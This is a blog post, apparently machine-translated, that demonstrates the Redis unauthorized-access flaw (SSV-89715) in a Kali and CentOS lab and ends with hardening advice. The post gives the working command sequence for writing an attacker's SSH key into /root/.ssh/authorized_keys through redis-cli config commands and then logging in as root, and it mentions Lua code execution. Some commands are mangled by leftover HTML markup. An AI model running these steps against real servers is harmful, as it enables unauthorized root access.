Redis unauthorized access defects can easily cause the system to be hacked "SSV-89715"

Reference Links: https://www.sebug.net/vuldb/ssvid-89715

In the case of unauthorized access to Redis, an attacker can take advantage of the methods of Redis to successfully write their public key to the Authotrized_keys file of the/root/.ssh folder of the target server, allowing them to log on directly to the target server.

Environment:

kali:192.168.2.162

centos:192.168.2.32

CentOS deployed the Redis database

Steps:

1. Generate the key pair on the Kali:

Command: ssh-keygen-t RSA

650) this.width=650; "src=" Http://s5.51cto.com/wyfs02/M02/8B/40/wKiom1hH1zyR1TVBAABsu7V44gY919.png "title=" Generate secret key pair. png "style=" Float:none; "alt=" Wkiom1hh1zyr1tvbaabsu7v44gy919.png "/>

2. Write the public key to the Hack.txt file

Command: (echo-e "\ n"; Cat id_rsa.pub; echo-e "\ n") > Hack.txt

650) this.width=650; "src=" Http://s1.51cto.com/wyfs02/M01/8B/40/wKiom1hH1z3RyiuwAACFeO4CPFk294.png "title=" Write the public key. png "style=" Float:none; "alt=" Wkiom1hh1z3ryiuwaacfeo4cpfk294.png "/>

3. Link the Redis database and write to the file:

Command:

$ cat Hack.txt | Redis-cli-h 192.168 . 2< Span class= "Hljs-number" style= "Color:rgb (222,147,95); background-color:inherit;" >.32 -X set crackit 

192.168 . 2.32  

$ 192.168.2.32:6379> config set dir /root/.ssh/

OK 

192.168 . 2.32 Span class= "Hljs-symbol" style= "Color:rgb (212,108,96); background-color:inherit;" >:

1) "dir"

2) "/root/.ssh" 

192.168 . 2.32 Span class= "Hljs-symbol" style= "Color:rgb (212,108,96); background-color:inherit;" >: " Authorized_keys "  

OK 

$ 192.168.2.32:6379> save

OK

650) this.width=650; "src=" Http://s1.51cto.com/wyfs02/M01/8B/3D/wKioL1hH1z3A7JnKAABaE-uQnxc844.png "title=" Write not pressed. png "style=" Float:none; "alt=" Wkiol1hh1z3a7jnkaabae-uqnxc844.png "/>

4. Now look at the/root/.ssh/authorized.keys file for the next 192.168.2.32 device, which has been written in:

650) this.width=650; "src=" Http://s3.51cto.com/wyfs02/M01/8B/40/wKiom1hH1zzAOZvQAABph2srF7s969.png "title=" Authori.png "style=" Float:none; "alt=" Wkiom1hh1zzaozvqaabph2srf7s969.png "/>

5. Use the private key generated on Kali to link the CentOS device

Command: ssh-i id_rsa [email protected]

650) this.width=650; "src=" http://s5.51cto.com/wyfs02/M01/8B/3D/wKioL1hH1zygaVBUAACVuRGmeRs798.png "title=" login. png "Style=" Float:none; "alt=" Wkiol1hh1zygavbuaacvurgmers798.png "/>

6. Login is successful.

7. Disclosure of sensitive information:

via the Redis Info command. Can view the relevant parameters and sensitive information of the server,

650) this.width=650; "src=" Http://s1.51cto.com/wyfs02/M00/8B/3D/wKioL1hH1zuC3qOHAARW2Z0GxK0499.png "title=" 447223464728.png "style=" Float:none; "alt=" Wkiol1hh1zuc3qohaarw2z0gxk0499.png "/>

8. Code Execution

Redis's ability to nest Lua scripts can lead to code execution and compromise the execution of other server-side code.

650) this.width=650; "src=" Http://s1.51cto.com/wyfs02/M00/8B/3D/wKioL1hH1zmzlhjrAAEzLH8wERk945.png "title=" 447223424307.png "style=" Float:none; "alt=" Wkiol1hh1zmzlhjraaezlh8werk945.png "/>

Once an attacker can execute arbitrary code on the server, the attack will become more and more complex.

This can be called by the LUA code to invoke the Redis.sha1hex () function and maliciously exploit the Redis service for SHA-1.

Solution:

1. Configure the BIND option to limit the IP that can connect to the Redis server and modify the default port 6379 for Redis.

2. Configure Auth, set the password, and the password will be saved in plaintext in the Redis configuration file.

3. Configure Rename-command config "Rename_config" so that even if there is unauthorized access, it can make it more difficult for an attacker to use the Config command

4. The good news is that the Redis author says that "real user" will be developed to differentiate between normal user and admin privileges, and ordinary users will be banned from running certain commands, such as Config

5. 
   

This article is from the "mask_x blog" blog, please be sure to keep this source http://zhpfbk.blog.51cto.com/4757027/1880418

Redis unauthorized access defects can easily cause the system to be hacked "SSV-89715"